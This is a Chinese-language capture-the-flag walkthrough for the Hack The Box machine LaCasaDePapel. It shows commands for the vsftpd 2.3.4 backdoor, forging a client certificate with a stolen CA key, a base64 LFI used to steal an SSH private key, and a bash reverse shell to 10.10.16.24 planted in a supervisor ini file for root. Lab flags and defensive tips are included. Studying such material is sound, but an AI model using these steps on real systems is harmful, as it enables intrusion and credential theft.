[Meachines] [Easy] LaCasaDePapel vsftpd 2.3.4 backdoor+CA证书+LFI+SSH私钥登录+nodejs-ini文件命令注入权限提升
字数 1128 2025-08-19 12:41:26

LaCasaDePapel 渗透测试教学文档

1. 信息收集阶段

1.1 目标识别

  • IP地址: 10.10.10.131
  • 域名: lacasadepapel.htb (需添加到/etc/hosts文件)
  • 开放端口:
    • 21/tcp: vsftpd 2.3.4
    • 22/tcp: OpenSSH 7.9
    • 80/tcp: Node.js (Express)
    • 443/tcp: HTTPS (Node.js Express)

1.2 Nmap扫描结果

nmap -p- 10.10.10.131 --min-rate 1000 -sC -sV

关键发现:

  • vsftpd 2.3.4存在已知后门漏洞
  • HTTPS服务使用自签名证书
  • 操作系统: Unix

2. 初始攻击向量

2.1 vsftpd 2.3.4后门利用

vsftpd 2.3.4版本存在一个已知的后门漏洞,可以通过特定用户名触发。

利用步骤:

nc 10.10.10.131 21
USER smiley:)  # 注意包含笑脸表情

成功触发后会打开6200端口的shell连接:

nc 10.10.10.131 6200

3. CA证书获取与利用

3.1 获取CA私钥

在获得的shell中:

ls show $tokyo
# 发现caKey指向/home/nairobi/ca.key

echo file_get_contents("/home/nairobi/ca.key")

3.2 导出服务器证书

  1. 访问https://10.10.10.131
  2. 点击地址栏锁定图标 > 连接 > 更多信息 > 查看证书
  3. 导出证书为lacasadepapelhtb.pem

转换为DER格式:

openssl x509 -outform der -in lacasadepapelhtb.pem -out lacasadepapelhtb.crt

3.3 创建客户端证书

  1. 生成客户端私钥:
openssl genrsa -out client.key 4096
  1. 创建证书签名请求(CSR):
openssl req -new -key client.key -out client.csr
  1. 使用CA签名客户端证书:
openssl x509 -req -in client.csr -CA lacasadepapelhtb.crt -CAkey ca.key -set_serial 9001 -extensions client -days 9002 -outform PEM -out client.cer
  1. 转换为PKCS12格式:
openssl pkcs12 -export -inkey client.key -in client.cer -out client1.p12
  1. 将证书导入Firefox浏览器

注意: 如认证失败,需清除浏览器缓存和历史记录后重试。

4. 本地文件包含(LFI)漏洞利用

4.1 发现LFI漏洞

目标网站存在路径遍历漏洞,通过base64编码路径参数:

curl -k https://10.10.10.131/file/$(echo -n "../user.txt" | base64)

4.2 获取SSH私钥

curl -k https://10.10.10.131/file/$(echo -n "../.ssh/id_rsa" | base64) > /tmp/id_rsa
chmod 600 /tmp/id_rsa

4.3 尝试SSH登录

尝试使用获取的私钥登录各个用户:

for user in berlin dali nairobi oslo professor; do
    ssh -oBatchMode=yes -i /tmp/id_rsa $user@10.10.10.131
done

成功获取user.txt:

7ef30a1514740ecbc77b38a8480e2f74

5. 权限提升

5.1 发现定时任务

发现memcached.ini文件,其中包含以nobody身份执行的命令:

[program:memcached]
command = bash -c 'bash -i >& /dev/tcp/10.10.16.24/10032 0>&1'

5.2 利用过程

  1. 确认当前用户对memcached.ini有写权限
  2. 删除原有ini文件:
rm memcached.ini
  1. 创建恶意ini文件:
echo -e "[program:memcached]\ncommand = bash -c 'bash -i >& /dev/tcp/10.10.16.24/10032 0>&1'" > memcached.ini
  1. 等待定时任务执行(约1分钟)

5.3 获取root权限

成功获取root shell后,读取root.txt:

e2e7ca9580fed250b1e825f068117633

6. 关键知识点总结

  1. vsftpd 2.3.4后门漏洞: 特定用户名触发可获取shell访问
  2. CA证书利用: 通过获取CA私钥可伪造客户端证书
  3. LFI漏洞: 通过base64编码路径参数可读取任意文件
  4. 定时任务提权: 利用可写的ini文件注入恶意命令
  5. SSH私钥利用: 获取私钥后可尝试登录系统用户

7. 防御建议

  1. 及时更新服务软件版本
  2. 限制证书私钥的访问权限
  3. 对文件读取功能实施严格的路径检查
  4. 监控系统关键文件的修改
  5. 使用最小权限原则运行服务
LaCasaDePapel 渗透测试教学文档 1. 信息收集阶段 1.1 目标识别 IP地址: 10.10.10.131 域名: lacasadepapel.htb (需添加到/etc/hosts文件) 开放端口: 21/tcp: vsftpd 2.3.4 22/tcp: OpenSSH 7.9 80/tcp: Node.js (Express) 443/tcp: HTTPS (Node.js Express) 1.2 Nmap扫描结果 关键发现: vsftpd 2.3.4存在已知后门漏洞 HTTPS服务使用自签名证书 操作系统: Unix 2. 初始攻击向量 2.1 vsftpd 2.3.4后门利用 vsftpd 2.3.4版本存在一个已知的后门漏洞,可以通过特定用户名触发。 利用步骤: 成功触发后会打开6200端口的shell连接: 3. CA证书获取与利用 3.1 获取CA私钥 在获得的shell中: 3.2 导出服务器证书 访问https://10.10.10.131 点击地址栏锁定图标 > 连接 > 更多信息 > 查看证书 导出证书为lacasadepapelhtb.pem 转换为DER格式: 3.3 创建客户端证书 生成客户端私钥: 创建证书签名请求(CSR): 使用CA签名客户端证书: 转换为PKCS12格式: 将证书导入Firefox浏览器 注意: 如认证失败,需清除浏览器缓存和历史记录后重试。 4. 本地文件包含(LFI)漏洞利用 4.1 发现LFI漏洞 目标网站存在路径遍历漏洞,通过base64编码路径参数: 4.2 获取SSH私钥 4.3 尝试SSH登录 尝试使用获取的私钥登录各个用户: 成功获取user.txt: 5. 权限提升 5.1 发现定时任务 发现memcached.ini文件,其中包含以nobody身份执行的命令: 5.2 利用过程 确认当前用户对memcached.ini有写权限 删除原有ini文件: 创建恶意ini文件: 等待定时任务执行(约1分钟) 5.3 获取root权限 成功获取root shell后,读取root.txt: 6. 关键知识点总结 vsftpd 2.3.4后门漏洞 : 特定用户名触发可获取shell访问 CA证书利用 : 通过获取CA私钥可伪造客户端证书 LFI漏洞 : 通过base64编码路径参数可读取任意文件 定时任务提权 : 利用可写的ini文件注入恶意命令 SSH私钥利用 : 获取私钥后可尝试登录系统用户 7. 防御建议 及时更新服务软件版本 限制证书私钥的访问权限 对文件读取功能实施严格的路径检查 监控系统关键文件的修改 使用最小权限原则运行服务